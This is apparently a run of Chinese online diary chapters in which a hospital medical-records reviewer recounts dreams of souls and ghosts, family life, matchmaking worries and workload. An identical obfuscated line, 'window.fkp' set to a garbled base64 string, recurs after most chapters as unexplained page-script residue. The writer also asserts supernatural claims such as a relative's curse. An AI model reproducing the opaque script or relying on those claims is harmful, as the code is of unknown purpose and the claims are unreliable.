    他有买房的资本吗？如果他买了房，我会和老公发脾气，嫌弃老公没用吗？如果他买不起房，我要给他做介绍吗？那不是骗女孩子过苦日子？他的三观是什么样子？他以后工作会在我们当地吗？如果他在当地，他的工资会有他在外地工资那么高吗？如果他不在本地上班，那我就算谈成了。我们医院培养的人才，就被人家带走了，对我们医院没有深远的好处啊！如果被带到外地，她还能面试得进外面的地方上班吗？如果他谈成了，他不带她到外面。他在外地上班，她在本地上班。那么婆媳关系怎么处理呢？万一有出轨的倾向怎么办？。。。。。
    还有很多个问题。越想就越多问题。果然结婚都是靠缘分。
    以前都不用想那么多。啥都不用想，只看脸就行。看他的外表的话，还好。只有一辆车，农村的房子，装修一般。外地上班，之前谈了做美甲的，都说好了可能会放下工作去追，但是后面他出去上班了，那个女孩子的情况，也比较复杂。家里比较贫穷。据说她母亲改嫁，后面又回来了，反正我没有怎么听，很复杂，光听到就觉得这个女孩子很复杂很难受。但是她自己又在市里上班。父亲的情况好像也不算很好。个人感觉他们两个都是比较胆子大的人，至少比我胆子大，做事应该还可以。这只是对他们工作能力的评价。别的我也不敢讲啊！人我又没有见过，只是听人家只字片语，有一个模糊的印象。
    我都没有荷尔蒙心动的感觉，我不敢介绍！而我心动了我要怎么收场。以前是我自己喜欢的人，谈了一个星期，就像受到了超能力一样，就是动不了一步，然后只能眼睁睁的看着人家结婚。还心痛了一段时间。而现在我结婚了呀！就不晓得怎么和人家搭了，人家过的比我好，我会嫉妒的，人家过的不好，人家会怨我的。不结婚不好，结婚没有生活的技巧，技能，过不好，会怨的。
    很简单的东西变得很难了。
    这个别人教也不知道怎么教。每个人的版本不一样。
    我只知道人家追女朋友的故事。一个人是穷小子，每天都带人家去吃饭，一两年，然后成了。还有的就是半夜会送外卖给女朋友吃。当然时间很久，不是一次两次。然后也成了。还有的就是网恋，可能聊了好几年，后面人家家里一直催婚，后面两个人都有意愿，就成了。时间，感情，真诚，真的就这些。彩礼这些家里人会去讲好来。做好过苦日子的准备。
    反正人生都是很难的。你要怎么样，让一个女孩子陪你过苦日子，这就需要缘分了。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第398章

    梦境。昨日之梦。梦里面是一个很大的空间。然后有人在叫我做什么。梦里的我听了一首歌，非常的奇怪的歌声。然后就醒了。
    后面早上就在笑。梦里面看到了一个白色的动物头的女孩子被闸刀给砍了头，砍头之前那个女孩子说，这个事是我的错吗？
    我在一旁看着。没有什么想法。
    我不这样子又走不出来，等走出来了又物是人非。已经竭尽全力了。
    后面就是睡着了下一个梦。梦里面是一块田。田上有一个机器，但是梦里的我不知道怎么用那个机器。然后梦里面田长了好多草。梦里出现了一种灰蓝色的很大的魔鬼，在田里面啃食什么东西，那个时候又是晚上。我也不知道干嘛。
    然后下一个场景还是晚上，说妈妈和奶奶都住院了，叫我去医院看一下她们两个，然后我就去了，梦里我不记得讲了什么，那个片段不记得了。
    后面的场景就是我像一只兔子，身上没有穿任何的衣服，然后我到了娘家的河边，生了三十只白色的小兔子。我叫人家帮我好好装兔子。然后还是那条河，河面飘着一个人一个女人，但是她的灵魂全部变成了幽蓝色，很痛苦，但是她什么也不说，因为她的孩子，她说了怕她会有事。她就在河里泡着。她可能快死了。
    不过我没有管，我需要养我的小兔崽子。梦境里的娘家还是一个土砖房子。然后那只跑动的兔子很好看，笑眯眯的。
    梦里还有一些内容，但是我不想写。
    梦里得到那个机器我也不懂。还有那个夜晚的魔鬼我也不懂。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第399章

    昨日，几乎一夜没有休息，脑子在不停的工作，好兴奋。
    昨天宝宝晚上突然哭了，家婆说没办法，不知道碰到了什么，然后抱的去我这里。就看到了她灵魂背后有一团丝线一样黑色的灵魂。后面拍了她一下，然后她吐了一床。这个东西是什么不晓得。
    后面本来想睡觉，然后发现那团黑色丝线一样的灵魂它好像在道德绑架一样，要我做什么事，让我好累。没有睡着。
    然后就是下一段。梦到了一个很大的井。井的旁边有一些红色的砖。然后有什么东西像一个黑色的灵魂待在那个位置隐身了，一开始只听到了它的笑声，还有看到了一双眼睛。后面梦里什么人走远了，那东西出来了。像一个巴掌那么大，然后头是圆锥体的样子，后面的身子像长方体，然后还有脚又钻回洞里了。梦里说它可能是幺婆子。不知道什么东西。
    后面醒来了一会儿。后面又困了一会儿，我感觉我还是没有睡。
    梦里是一栋楼，然后我守着这栋楼，然后来了人，他们要来领东西，是冰棍。后面我没有领给她，然后又倒回去领给她了，后面就担心那栋楼没有锁门。
    然后就是一条路，路上我碰到了一群人，他们在路边吵架。我就看一会儿。然后后面她们吵架的东西复制过来了。后面我就在路上走，然后路坏掉了。我骑车从路上摔了下来。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第400章

    今天去做客，走亲戚，去看了那边的街道和风景区。还可以。上了台阶后看到了很多竹子和树。风比较大，好几个人上来了都带上了帽子，远远的看着我以为是小女孩子，后面发现是一些阿姨。穿着红衣服，然后因为风大戴上了帽子。后面我也戴上了，冷。后面就四处瞄了一下，竹子好看，树好看，风大。然后我们就下去了。和老公逛了一下街。给宝宝买了一身衣服30元。本来老公还想给宝宝买一件外套，一百元一件，但是老公喜欢粉红色的回忆那家店里没有那件粉红色的外套，只有大红色，后面我们没有选择买。我对那件衣服没有太大的感觉，主要我感觉一百块有点子贵。而且我已经给宝宝买了三件外套了，我感觉宝宝够穿。老公还是驳回了我想要去拿我亲戚小孩子旧衣服的想法。驳回就驳回吧！我好想自己买图纸做衣服。但是我想法很多，执行能力需要加强，我家婆执行能力很好，我超级佩服，但是她没有这方面的想法。有的时候我提了，她说她不会，我就感觉很失落。她不会我可以会。我买过图纸裁过，但是我不怎么会用缝纫机。真的很羡慕执行能力强的人，想干就干，而且干的很好。
    还在亲戚家，发现亲戚的小孩子比自己宝宝更灵活。他跑起来好快。我感觉是他的鞋子很好的原因，我给宝宝穿的鞋子感觉没有他的那么平。也不晓得他妈妈哪里买的。后面我问了一下，在我们那边买的。下次我也买。
    上次我给宝宝买的写字，妈妈吐槽那两双鞋子宝宝穿了会滑。后面真的看她走路滑了几下。搞得我有点子没有买鞋子的动力了。她爸爸给她买了一双新鞋子，穿的可开心了。哪里都走的去。要不以后宝宝的鞋子就她爸爸买？
    明天要上班。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第401章

    昨日之梦。不记得了。
    四点醒的。昨天晚上一直都是左眼皮在跳，然后我也感觉到了一个灰色的灵魂。是我认识的人，但是我忘记她的名字了。
    做自己喜欢的事吧！
    昨天是这样子对她讲的。然后昨天也知道了为什么从那天自己相亲之后会对老公的表姐特别愤怒的原因。
    因为她给我下了智障的魔法。所以结婚的那段时间会那么诡异。而我的心一直对她很愤怒。好生气。我不知道自己被骗了吗？我知道，可是我没有办法，我已经这样子了，那只能接受了。
    把这件事当成经验，希望其他的女孩子不被欺骗。毕竟老公对我还好。我也是第一次知道结婚还有这种操作。
    她为什么突然之间又把我的智商还给我了？难道她发现我们两个人的关系很好，夫妻的心情还不错。可能吧！
    还有就是要给她弟弟招媳妇。她这样子搞，那我的脑子很清醒，怎么给她弟弟招媳妇？我如此清醒，怎么可能会去爱一个人？
    要和我老公商量？问他我可不可以和他表弟谈恋爱？只为了提高他表弟的情商，给他表弟练手？
    万一玩火自焚怎么办？万一谈出真感情了，人家非我不娶怎么办？有点子复杂啊！
    为什么要突然这么清醒？难得有人欣赏我这等泼妇，希望自己老婆也和我一样的级别。
    姻缘天注定，可能不用我帮他吧！万一给他招一个二婚的，人家家里肯定不开心，对不对？万一自己搭进去了，老公不开心对不对？
    很久没有来月经，测试了自己没有怀孕，但是也有可能怀孕。要去医院看一下。
    又起床测了一遍。没怀孕。难道我有寒气。肚子确实很凉。
    我向来都是见一个爱一个的灵魂本质，已婚了就不能见一个爱一个了。如何才能让自己的灵魂好好上班呢？如何才能进行职业规划呢？暂时想不明白。
    结婚了，我就想和我老公一直走下去，因为我很小的时候许的心愿就是嫁给和我同龄的人。然后缘分也是这样子，我五岁的时候开门见到的就是我家公的样子。而一直对过去却行动不了的时候，每次梦里说家里没有柴，需要我砍柴的意思就是家里没钱，需要我挣钱的意思。我以前是不懂这个梦的，单纯的以为这是需要我上山砍柴的意思。
    所以说一切都是缘分呐！缘分妙不可言。
    梦以前是有黑白两级太极仪。梦里白色美好的人总是会嫁给黑色的很恶心的灵魂。她一直这样子绑定的，一代一代都是这样子。就像神明嫁给了魔鬼了一样习惯了就好。后面我觉得我也是这个命吧！不然它为什么会出现在我的脑海里呢？既然是命运那就接受它呗！没有那么多复杂奇怪的事，哪来那么多真善美。
    我也不知道我要表达什么？本来想写的内容就是更美一点，但是写出来索然无味，意思差不多。以后文笔好了会把自己的意思表达的更精确吧！
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第4402章

    梦境。梦里面梦到了娘家的河边，然后河水涨了很多泥土我看了那些泥土没有发现什么。后面我走远后，发现泥土下面藏了很多鱼，然后在河面上的人，就扒拉开泥土捡鱼。好多的大鱼，那些鱼又大又
    发着金色的光芒。那个河面是代表战争的房间的河面。不晓得什么意思。后面河岸上的人拿了一条很小的鱼给我。说这条鱼他们都不怎么喜欢吃。不怎么喜欢吃给我干嘛？搞不懂。后面发现河岸上有垃圾袋，收拾的整整齐齐，我觉得好开心啊！就装了起来。走了。
    然后下一个场景，梦到了爸爸去学医了。他是一个放射科的医生。他要远行。然后我给了他我脖子上的符咒，我希望爸爸他在外面健健康康的平平安安的，他说他有，他不需要我的。后面突然想起了放射科不能带金属项链，然后还是解下了我的挂他脖子上，然后他就去进修了。进修走的时候他的灵魂很好看。
    另外一个梦境场景。在一条路上，有一个很好看的女人在接电话，然后是梦里的我给她打的，然后梦里的我不记得对她说了什么，她说她要报警，我说报警，那就赶紧去报警。
    下一个场景爸爸放射科医生他要远行。然后我为爸爸送别。爸爸的头发都白了，我叫他带到妈妈来，怕他在外面吃不饱饭。万一回来了又饿的很惨。
    下一个场景爸爸去进修回来了，我很高兴的去迎接他，但是院外好多的院长领导说要去迎接他，他说我准备一下。后面有一个人她把我拉到一个门里，叫我看爸爸，发现爸爸的灵魂很黑，和离开的爸爸不一致。后面来了好多警察。把那个爸爸抓了。但是后面那个爸爸发狂了，把那个女儿按在了床上，然后他们两个都没有了意识。后面有人过去探查，发现这又是灵魂作案。不知道哪里来的灵魂意识。进入了别人的身体里夺走了什么。也不晓得他们要走什么剧情。看不懂。
    还有一些场景。场景里是我的灵魂被谁换了，我发现我能看见更远的东西。那些远处的东西非常的清晰。然后我在路上漫无目的的走着。然后我看到了我老公。我以前谈过一个网恋，对方也不知道姓甚名谁，反正我有烦恼就一直和他倾诉，我也不认识他，后来我遇到了他，但是因为我太过于清晰的头脑，后面就错过了。但是不知道这是什么意思？这个意思是什么？不晓得。后面我就在看我老公的手机，没有找到。任何事情显示他是这么一个人。我也懒得去看。就算看了，估计人家也是把我当神经病。如果真的是他，只能说明缘分就是这样子。挡不住。
    后面的一个场景，梦到了一个帅哥，可是帅哥结婚了，感觉他还对我念念不忘，爱而不得，后面他因爱生恨。想要动用所有的能力把我赶走。然后梦里我看到了一条河，然后河边是一个巨大的黑色脑袋，他笑吟吟的，也不晓得他笑什么？
    向上是野心，向下是天性，野心压不住天性。那怎么去培养自己的天性呢？野心大能力小，还不如种田，在其位谋其政。种田多自在，啥也不用想。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第403章

    梦境，梦到了一个农村，他们正在欢天喜地的吃喜酒的样子。反正那种场景里的氛围很好，周围的人都很快乐。脸上喜气洋洋的。我和他们打了一下照呼。后面就进入了下一个场景。那个场景和现实里的场景不一样。还是那对男女。但是空间不同。
    像坐在人家脑回路里。梦里我们好几个人都在这对男女脑回路里喝茶。讨论他们的感情。他们都相了很多次亲，这次比较晚，双方都比较急，怕错过了最佳。后面聊的我就听不懂了。总之后面我们就在人家人生路瞎逛，当然有人带着我，梦里男的说了啥，我不知道，全程一脸懵。看不懂。
    下一个场景是一个医生儿科主任，而且很大的主任，他生病了，在一个房间里，然后另一个年轻的女医生她在房间里照顾他。梦里那个儿科医生快挂了，奄奄一息的样子，然后她就一直在照顾他，我感觉很郁闷，然后我就进入了他们两个存在的房间里看。梦里说我和主任有亲戚关系。我在想我和主任有哪里的亲戚关系？后面我也不知道和女医生聊什么，就看着她忙。主任医生他有儿子啊！老婆儿子都在我们医院，怎么可能让她来照顾？可能上级领导对下级的提携，然后久而久之人家下面的人看不惯。认为对方有桃色关系。梦里里的儿科主任他呆呆的在那个房间里很难受，有很多东西在折磨他的心灵，但是我不理解。因为他现实世界里还好好的。
    然后就是好几个人一起然后把女医生也叫过来喝茶吃瓜子。然后梦里把医生的灵魂移到我这里。喝茶吃瓜子的几个人说她的灵魂对现状很不满，在埋怨我们。而且心里其实对待他人很不屑，但是对方伪装的很好。然后灵魂就脱离了我的身体。所以没有办法给她送小孩。她的脑回路已经到了更高维的境界，和我们不是同一层，我们没办法。
    梦境里和我老公一直在走，我叫老公看一下，后面错过了。老公进不了那个场景。
    下一个场景就是后面连各种人都领到了钱。梦里的场景发了很多钱给下层，下层很快乐，我就在下层人那里吃饭。然后我看上层领导的脸，看到了很多奇怪的老年斑，按理来说他脸上应该会是好看的明亮的灵魂样子。梦里的领导说他没有贪污。我也没有说什么。只是梦里他的灵魂不好看，梦里我的灵魂也不好看。像黑色的，一大片的黑色。梦里周围的人都很开心，因为他们都领到了钱。但是不理解这个梦境的意思是什么？
    是灾难会越来越严重，还是国库空了，脸色不好。还是别的原因？因为又看到了很厉害的祸鬼。祸鬼感觉她在笑。
    不知道什么梦。老天爷才懂吧！
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第404章

    梦境。梦里面是我们医院。现在的新医院。然后我们在医院的另一面上班，有个哥哥直接开着飞船上班，然后他的飞船停在了我们医院某一个窗户口，然后梦里的我感到很惊奇，然后就问他哥哥你的船停在那里不会掉下来吗？然后他说了啥？让我感觉他很有钱。后面另一个白色的男人在梦境里说：原来如此。但是我不知道他讲的什么意思。因为他的周围都是一片黑暗的东西。后面他就走了。
    我上班调了岗位，调到了和领导同一层。一开始是在办公室，后面我干了一个月，就去隔离点了。然后听说我是干一个月的。后面到了一个月我就问医务科的领导，我可以去哪里上班了。后面就在医务科。梦里的我也在讲原来如此。我也不知道她讲什么？反正看到了很多黑色的脑子在梦里我的周围在滚动。我也不知道它们在滚什么？反正它们在滚。然后梦里的我也在吃着参茶上班。后面来了好多评审员进入我们医院评审，第一次来的评审员他们其实也是乡下人，然后也没怎么干嘛！打了很多很好的评分。后面他们又来了，发现他们其中有一个人的脑子有一些红色和灰色相交。他第一次来过，第一次来的时候他的样子不是这样子。不知道意思是不是他收了贿赂？还是他变得想收我们医院贿赂？然后他就笑眯眯的看着我。但是不晓得什么意思？然后梦里老公也是我们医院评审员，他也跟着和领导走了一圈。他上去的时候非常开心，从医院出去的时候非常的不开心。都不想和我说话，一脸的嫌弃。然后梦里面我还是在位置上呆着但是不知道什么意思？后面到了顶层。领导给我安排了一个位置，他说这你就干的了吧！然后梦里的我很开心。我也不晓得梦里的我是干什么的？红色的灵魂在本子里面写什么？
    然后下一个场景，梦到了曹主任他在大门口说他给他老婆查岗。然后梦里看着他叫她什么时候下班。然后他过去查她。但是我不晓得这是什么意思？是说主任给他老婆通风报信的意思吗？搞不懂。好奇怪一个梦。
    前天的梦境，快醒的时候又睡过去了，梦里是一个黑色的有纹路的灵魂把我的手机弄到水里面泡。但是我不晓得这是什么意思？不过现在的手机都很好，防水。这个灵魂也不晓得啥？只是一脸的笑。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第405章

    梦境，梦见了一个村子，好像几分钟的梦。就突然之间进的。
    梦里面是一个村子，村子里有好多小动物说人话。有一团东西说小动物不重要，然后好多鸭鸭往外面走，然后又有一团黑色的人把鸭鸭带回去了。还看到了会直立行走的兔子。然后看到了一个一个灰白色灵魂的麂子很想进一个灰色的青砖房。它头上的角好大。然后它没进。我就看着它难过。
    梦里说是我们搞出来的。
    就听到了这句话。但是不知道这是什么意思？他这句话是啥意思？
    好多鸭鸭，鸭鸭是不是压力山大的意思？
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 梦境

    梦境我们去考试。然后我们考试，待了一个地方，然后她们很不愉快。因为她想离开，然后她就一直攻击我的灵魂，搞得非常的不开心，梦里她说她非常不开心。因为她老公在赣州。
    然后下一个梦。梦里和芳芳进了一栋楼，后面我们在上电梯，我按错了电梯号，本来是要去22楼，然后还有其他号，所以我就想按上一点更好。就想按26楼，还有好几个楼层。后面就按错了按了216楼。然后我就过去了。谁带我过去的，我也不记得了，打开以后是一个空间。那个楼里有很多人，他们穿着华丽的衣服，过着非常舒服的生活。那个空间里的人生活非常美好，然后我想下去。电梯打不开，然后我就一层一层的往下走。梦里有一个男的好好看，不过可能是服务员，他在电梯里上班。每一层有一个人好帅，后面我去了一个楼层，我说我走错了楼层，可不可以送我回去，他说只能一层一层下去，而且下楼梯也是不一定会在下一层，外面的梯子是时空乱流式。然后我不管我就想下去，然后梦里就一层一层往下走，后面我走不了了，因为外面的通道好小，连我这个人都塞不进。
    后面也不知道自己怎么进的，就下到了一个奇怪的地方，好多石头，搞得我很艰难的爬了一段时间。后面是进入了一个很遥远的空间，碰到了一个老人，这是那栋楼的创始人，在一个很遥远的年代，然后老人说他有一个女儿，但是后面的我没有听清，然后看到了一个奇怪的孩子，她在叫我妈妈，然后我在一个卫生间里看到了一个红色的灵魂。最后面就是一个奇怪的场景：一个很漂亮的女人她穿着白色的衣服，有点子袒胸露露的样子，走在这个世界里，然后她喜欢的那个人也脸上挂着很虚假的笑，和一大堆人围着她起哄。
    梦境说：那个老人他曾经是一个很善良的人，他用了很多很多积蓄去帮助一些苦难的人，后面他也变收钱了。不过我不太明白，这是说的啥。
    老人的那个场景，他是喜欢上梦境里的我还是女儿，所以爱而就不得就变了。因为梦里的我拒绝了。
    可能是，因为他注定会是一个有钱人，然后如果他很爱他的家人他的孩子是一个畸形的孩子，那么他就会用他一生的财富去帮助更多苦难的人。而不是享受。
    这个梦不知道什么意思？她想要离开，去上一级。她老公在哪里，房子也在那里，准备小孩子读书。
    可是梦里的我没有考成试。其实要达到去上一级很简单。就是帮助有缘人。遇见的人他们都和我们有缘，用心去帮助他们，想去什么地方谁都压不住。这就是天性。用心去帮，而不是假的表演。表演别人的心也知道怎么回事？
    缘分到了就自然可以升。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第407章

    梦境，昨日之梦。梦到了一个学校，我们在做数学题。然后做到了一个梯子。后面是两个梯子运行过来了。
    然后下一个场景是在一条路上跑，然后梦里面是大家都在跑，但是不知道为什么要跑，梦里面好像是在保持队形锻炼身体。后面到了我们现实的那个桥，经常走的那个，梦里的我突然就停了下来，梦里的我很想吃东西，还是什么，反正停了下来，后面就进入了下一个场景，那个场景的内容不怎么清晰。记不清了，而且也形容不出来。
    后面是一个奇怪的男人给我看了一具死去的狐狸尸体，它身下还有孩子在喂奶，然后它的尸体就定格在那一刻，它怎么死的不清楚，梦里他的灵魂讲了什么？但是我听不懂。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第408章

    梦境，梦里面是一个灵魂，她的样子是淡淡的红色，然后出现了两条路，梦里的那个灵魂希望我去走什么路，而另一面的我就看着她，她也不动。梦里的我就和另一个灵魂僵持了很久。然后梦醒就看到了她的样子。有点子灰色和红色交织。
    不过不知道什么意思！可能最近查病历太严了，人家很讨厌我了。希望我出点事，我写的不扣钱啊！
    该怎么样提升自己的进度。还有好几百份没有看。看的有点子慢，如果看的太慢，会影响我的进度。要快。
    有个备案制医生想辞职，说想当老师，不想当医生。医生压力好大。其实我们的压力也很大。
    不晓得怎么讲，最近门诊那个糖尿病病人就是因为没有签医患交流，然后就一直在闹，要医院赔钱。搞得领导也焦头烂额。
    主任说画一个线。要把所有有问题的病历都打下去，医生会累死，我也会累死，然后他们压力大还很恨我。问题是我也不知道画怎么样的线啊！我就是看纸质病历。电脑上另外两位老师会看，她们看的都是需要电脑上上传的内容，工作量也很大，经常要打电话叫医生改。我的话一本本看，要看病历总数的百分之八十，然后还要算七日归档率。那个七日归档率，我都还没有去算。因为人家都是很晚交，每天问有没有病历，都没有病历，打回去的人家要一份一份签字，还要找好几个人签字，自己签了，还有上级医生签字。所以拖的时间好长。自己第一次写好的病历也需要上级医生签字，因为都是上级医生和自己做手术，还有疑难病历，上级医生会一起看，每日要查房。所以他们医生好辛苦，有的时候休息回医院写病历。写得到晚上十一二点。上班也写病历。
    所以我叫我家的弟弟妹妹最好不要学医。护士写病历也会累死，我之前在临床写病历写的会累死。后面发现医生也会累死。后面到了质控的班，发现质控也会累死。以为领导就在过好日子，说是白班，两个主任天天加班。其实我也想加班，因为有的病历我看的时间太长了，我需要找一个让自己工作效率提升的方法。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第409章

    梦境，梦里面是一个河面，一个男的在河边钓鱼。
    那个男的他穿着长长的衣袍，不像这个时代的。
    后面就是梦境，梦里面有土，灰色的土。然后梦里面梦到了一个村子，后面不怎么记得到了。
    反正后面就是谁在说什么，梦里面的灵魂我的在上班，然后领导看到了我的灵魂里是一个小孩子的，很像老公的弟弟。然后下一个场景还是土那个房子里有一个男的后面那个场景不记得了。不记得讲的什么了，那是一层，然后我看了一下那里，梦里面的我像一个很大的黑色的鬼一样，嘴巴里面讲的是那还会有我好。这什么意思？我也不懂。
    然后梦里面梦到了孩子，后面不记得什么了。反正很古怪，看不懂，啥意思。
    梦里的我像一个黑色的超级大鬼一样，而且梦里面做的事不是很好的感觉。像在影响人家的命运。而梦里的我又是超级大鬼，我就在大鬼的核心里面，睡又睡的死不清醒。
    不知道这是什么意思。
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第410章

    梦境，梦到了悟空，梦里的悟空不知道在讲什么。他讲的内容我不太懂。
    然后就是一个剧场，有一部剧以前有过，很好看，但是后面解散了，撑不下去了，梦里面有一个十七岁的霸总，但是他是一个女孩子扮演的，后面女孩子长大了，她演不了这个角色了。后面来了一个男的，他想要买下这个剧本。以自己的样子去演这个角色，但是他长的和女孩不一样，女孩的性子很高冷的感觉，也没有拒绝，只是面无表情。
    后面的场景就是一条路，我走在路上看了一下。但是我不知道梦里的我在干嘛！
    window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\";

 第411章

    我居然扯了五十七万字，真的是不可思议。
    昨日之梦，还有好多写不出来的。片段就是突然梦到了一个家，然后家里的女人在用特殊的语言和方式控制家里的小孩子，她的样子像一个灰色而有亮晶晶的鬼，她笑眯眯的对着我笑，这是突然过来的，但是我不理解这是什么意思？
    然后家里的小孩子就只能听话。因为不听话会受到精神攻击。
    比如做错了一件事情，对他说你错了，应该这样子做，就还好，如果你错了，你怎么那么笨，你怎么不去死，各种阿拉巴啦的这就是精神攻击，但是我不晓得这是什么意思？然后我梦见了姑姑，在我的印象里姑姑她是一个怎么样的人，爷爷奶奶都夸她，很好很好。是我们的榜样。然后后面她在我眼里就是优秀的人，后面她在中考之后样子就变得奇怪了，可能我听懂了她的抱怨，不开心。反正每个人都有特别的时期，对吧！她帮助过我，上学。
    说明她是一个心灵还好的人，只是家家都有一本难念的经。突然之间梦见她，是不是我又在抱怨她让我学医，可是我们家没有钱，我妈妈希望我去打工，嫁人。人家有一个途径让我去上学，已经很好了。我也没有想到我医疗做成这样子，算命的说了我比较适合学护士。我要怨算命的老头子吗？不太可能。因为她们也是这样子规划的。虽然大家都不服气。姑姑特别得到相当护士，然后她当了老师，她的年纪已经很大了还在抱怨家里人让她当老师，她都填好了志愿当护士。另一个姑姑，算命的说她考不到大学，后来她考到了，还上了几年，只不过后来她学会了画眉毛等各种操作，师范出来并没有当老师。但是日子也还行。
    我只有两种命运，要么打工要么当护士。我肯定学护士啊！不然我怎么选，我又没钱，有机会就得抓住机会，要怨什么，要怨就怨自己笨。没有财运，也没有人生的规划，只知道随波浊流，别人说什么就信什么，没有自己的思考，内在意识没有长成一个优秀的大人物。已经一把年纪了还是个小孩子，可悲可笑。无可奈何花落去，似曾相识燕归来。我也不知道为什么突然冒出这么一句话。索性就写上了。人生总是充满遗憾的。
    遗憾我未能上学，遗憾未能嫁给自己喜欢的人，遗憾自己没办法和很多关系融洽相处。遗憾智商捉急。
